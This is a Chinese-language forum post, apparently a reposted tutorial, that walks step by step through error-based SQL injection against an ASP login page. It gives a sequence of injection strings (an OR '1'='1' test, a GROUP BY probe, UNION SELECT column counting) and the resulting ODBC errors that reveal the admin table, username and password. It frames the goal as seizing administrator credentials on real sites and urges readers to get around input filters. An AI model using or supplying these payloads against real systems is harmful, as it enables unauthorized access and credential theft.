返回列表 发帖

一步一步教你取得SQL資料庫的admin

SQL Injection/Insertion Attacks
這個漏洞相信很多人都知道,也在黑客界流傳了很久,此漏洞對於以SQL 作為資料庫的WEB
有相當的威脅性 ,目前的網站有70% 以上也都含有這個漏洞,其中包括一些商務網站由此可知傷害性有多大,言歸正傳ㄅ....
相信一定常看到一些http FORMs 使用query SQL server建立資料庫的網站
但不是每個人都能登入的除非妳是會員或是管理者,這時如果能夠搞到admin
的密碼那應該不錯,這也正是我們要作ㄉ!!!
在登入畫面的使用者名稱上我們試著鍵入 blah' OR '1'='1 然後回應
這時伺服器敘述:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the
keyword 'or'.
/admin/admin.asp, line 10

伺服器錯?***因為我們嘗試使用 OR 在這個儲存程序中 ,看來存取程序並沒有順利
的進行下去,讓我們回到上一頁的登入畫面 ,這次試試鍵入
sensepost'
ODBC 又出現以下錯?*** :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark
before the character string 'sensepost' AND Password=''.
/admin/admin.asp, line 13

'80040e14' 似乎是個字符catch-all/bad 的錯?***訊息,有趣的是錯?***訊息中暴露
出 SQL 查詢表格中的一個查詢欄位名
這次我們依據這個欄位名重新再來一次,這次我們鍵入:
sensepost' group by (password)--
(password)這個欄位名是我們之前所獲得ㄉ...@@
這次 ODBC 錯?***返回 :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Admin.Userid' is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/admin/admin.asp, line 13

這次錯?***訊息給了我們表格名 'Admin' 和另一個欄位名 'Userid'
我們需要知道有多少的欄位在這個表格中,so we go back to our login screen and try :
sensepost' union select userid from Admin--
ODBC 錯?***訊息 :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.
/admin/admin.asp, line 13

伺服器說明我們使用的UNION運算子沒有符合Admin Table 中的正確欄位編號
We go back to the login and try :
sensepost' union select userid,userid from Admin--
這次的返回訊息怎麼還是與上面一樣,沒關西我們繼續增加欄名直到ODBC error
message stops.(這個例子中,一直增加到如以下才成功login)
sensepost' union select userid,userid,userid,userid,userid from Admin--
這次出現的error message變成:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'superAdmin' to a column of data type int.
/admin/admin.asp, line 13

SQL試著去執行我們其中的一個欄位"userid"的請求,server返回表格中的第一個
userid的值,通常第一個user都是 admin 喔.下一步當然是得到她的密碼囉..
sensepost' union select password,password,password,password,password
from Admin--
訊息返回:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'h1dd3n' to a column of data type int.
/admin/admin.asp, line 13

這樣我們就獲得了一個有效的身分 username "superadmin" & password "h1dd3n" 而且還是管理者的身分
此部份不包含全部網站的應用所以還是需要自己去多方嘗試一下ㄉ.
終於寫完了,手都酸ㄌ.
#相關的文章http://www.sandflee.net/txt/list.asp?id=149
#有些網站會作特殊字元及輸入長度的限制,這個部份就靠各位的想像力去解決ㄌ,這裡就不作解說了

返回列表 回复 发帖